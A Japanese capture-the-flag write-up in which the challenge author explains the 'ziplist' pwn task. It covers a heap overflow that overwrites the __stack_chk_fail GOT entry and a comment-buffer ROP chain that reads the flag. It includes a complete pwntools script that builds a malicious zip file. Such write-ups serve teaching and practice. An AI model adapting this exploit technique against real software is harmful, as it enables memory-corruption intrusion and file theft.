はじめに
この記事ではInterKosenCTFで出題した問題の解説を書きます。 他の問題のwriteupについては下記リンクから参照してください。
概要
Description: The flag is written in /home/pwn/flag. http://pwn.kosenctf.com:9300/ File: ziplist.tar.gz
64-bit ELFとそのソースコード一式,flaskサーバーのソースコードも渡されます. アップロードしたzipファイルの中身を一覧でbase64エンコードして返してくれるWebサービスですが,内部で呼び出しているELFに脆弱性があります. さて,バイナリのセキュリティ機構は普通にgccでコンパイルしたような状態になっています.
$ checksec ziplist [*] '/home/ptr/workspace/ctf/challenges/ziplist/build/ziplist' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
今回はzipを送って結果が返ってくるという形なので,libcベースをリークしたりシェルを奪ったりということは考えません. ソースコードから脆弱性を探すと,まずzipのコメントを格納する変数にバッファオーバーフロー脆弱性があります.
char comment[64];
しかしSSPが有効なので単にオーバーフローはできません.
さらに他の脆弱性を探すと,ファイル名を取得する場所にヒープオーバーフローの脆弱性があります.
*entry = (CentralDirectoryFileHeader**)malloc(sizeof(CentralDirectoryFileHeader*) * footer->total_entries); for(i = 0; i < footer->total_entries; i++) { (*entry)[i] = (CentralDirectoryFileHeader*)malloc(sizeof(CentralDirectoryFileHeader) - sizeof(char*)); (*entry)[i]->filename = (char*)malloc(64); }
したがって,方針としてはヒープオーバーフローで__stack_chk_fail
(BOFの検知機構)をretなどのrop gadgetに上書きし,その後commentのバッファオーバーフローでROPを実行します.
ROPではreadfile(char *filepath, int filesize)
を呼び出せばよいので,ROPでreadfile("/home/pwn/flag", 0xFF)
みたいなのを呼び出せればフラグが出力されます.
少し違う解き方をしていたチームもあったので,そちらは解法2で紹介します.
解法1
まずはヒープオーバーフローで__stack_chk_fail
を無効化します.
最初にファイルの個数分だけヒープに領域(CentralDirectoryFileHeader)が取られます.
また,CentralDirectoryFileHeaderはファイル名へのポインタを持っており,これも各CDFHをmallocした直後にmallocされています.
したがって,1つ目のfilenameのオーバーフローで2つ目の領域の&filenameを__stack_chk_fail
のGOTに上書きし,2つ目のfilenameとしてretのアドレスを用意します.
overwrite = p64(got_stack_chk_fail) filename1 = "1" * 0x7e + overwrite filename2 = p64(rop_ret) zipfile = '' zipfile += DirHeader1 zipfile += filename1 zipfile += DirHeader2 zipfile += filename2
これでcommentに適当な文字をいっぱい入れるととりあえずSSPを通過してセグフォすることが確認できます.
さて,commentの方にreadfileの引数を入れるROPを書きます.
x64ではrdi, rsi, rdx, ...の順に引数が取られるのでflag
へのポインタをrdiに,flagから読み取る文字数をrsiに入れます.
rp++でROP gadgetを探すと,次のようなgadgetが使えそうです.
0x00400c9c: pop rax ; ret ; (1 found) 0x00400ce3: pop rdx ; ret ; (1 found) 0x00400bfa: mov dword [rax], edx ; pop rbp ; ret ; (4 found) 0x00401043: pop rdi ; ret ; (1 found) 0x00401041: pop rsi ; pop r15 ; ret ; (1 found)
ここで注意してほしいのが,0x00400bfaのgadgetは本当は0x00400bfbに位置しており,0x00400bfaだと動きません.
rp++のバグだと思いますが,ROPGadgetとかだと正しく出してくれるのでしょうか.
さて,方針としてはpop rax
でbssセクションなど書き込み可能な領域のアドレスを入れて,pop rdx
にflag
などの文字を入れます.
その後mov dword [rax], edx; pop rbp;
を実行すれば文字を書き込めます.
あとはpop rdi
とpop rsi
で引数を入れて,readfile
へリターンすればフラグが出力されます.
この攻撃をするzipファイルを生成するpythonコードです.
# coding: utf-8 from pwn import * elf = ELF("./ziplist") rop_ret = 0x00400639 rop_pop_rax = 0x00400c9c rop_pop_rdx = 0x00400ce3 rop_pop_rdi = 0x00401043 rop_pop_rsi_r15 = 0x00401041 rop_mov_rax_edx_pop_rbp = 0x00400bfb addr_readfile = elf.symbols['readfile'] got_scf = elf.got['__stack_chk_fail'] print("[+] Jump to: " + hex(addr_readfile)) print("[+] GOT of __stack_chk_fail: " + hex(got_scf)) overwrite = p64(got_scf) filename1 = "1" * 0x7e + overwrite filename2 = p64(rop_ret) filepath = p64(elf.bss()) filesize = p64(64) print("[+] readfile({}, {})".format(hex(elf.bss()), 64)) payload = "A" * 64 # comment payload += "BBBBBBBB" * 5 # garbage payload += p64(rop_pop_rax) # rax <-- filepath payload += filepath payload += p64(rop_pop_rdx) # rdx <-- 'flag' payload += "flag " payload += p64(rop_mov_rax_edx_pop_rbp) # filepath = 'flag' payload += "CCCCCCCC" payload += p64(rop_pop_rdi) # rdi <-- filepath payload += filepath payload += p64(rop_pop_rsi_r15) # rsi <-- filesize payload += filesize payload += "DDDDDDDD" payload += p64(addr_readfile) # readfile(filepath, filesize) payload += "AAAAAAAA" DirHeader1 = '' DirHeader1 += p32(0x02014b50) DirHeader1 += p16(0) * 8 DirHeader1 += p32(8) * 2 DirHeader1 += p16(len(filename1)) # ファイル名の長さ DirHeader1 += p16(0) * 4 DirHeader1 += p32(0) * 2 DirHeader2 = '' DirHeader2 += p32(0x02014b50) DirHeader2 += p16(0) * 8 DirHeader2 += p32(8) * 2 DirHeader2 += p16(len(filename2)) # ファイル名の長さ DirHeader2 += p16(0) * 4 DirHeader2 += p32(0) * 2 EndOfFile = '' EndOfFile += p32(0x06054B50) EndOfFile += p16(0) * 2 EndOfFile += p16(2) * 2 # エントリ数 EndOfFile += p32(0) EndOfFile += p32(0) # Central Directory Headerのオフセット EndOfFile += p16(len(payload)) EndOfFile += payload # コメント zipfile = '' zipfile += DirHeader1 zipfile += filename1 zipfile += DirHeader2 zipfile += filename2 zipfile += EndOfFile with open("malicious.zip", "wb") as f: f.write(zipfile)
解法2
パケットを観測していると,だいたい同じですが少し違うアプローチをしているチームもありました. commentでrop gadgetを動かすのではなく,ファイル名のヒープオーバーフローを多用してreadfile("/home/ptr/flag", 100)の引数を用意する方法です. 問題を作ったときはROPで上手く文字列を渡せなかったのでpop raxやpop rdxのgadgetを用意したのですが,そんなことしなくても解けたんですね. 勉強になりました.
あとがき
4チームも解いてくれて嬉しかったです! 私の浅い経験では,こういうソフトウェアの脆弱性を突く攻撃ファイルを作る,という問題を見たことがなかったので出題してみました. この問題は結構評価が高かったので作って良かったと思ってます.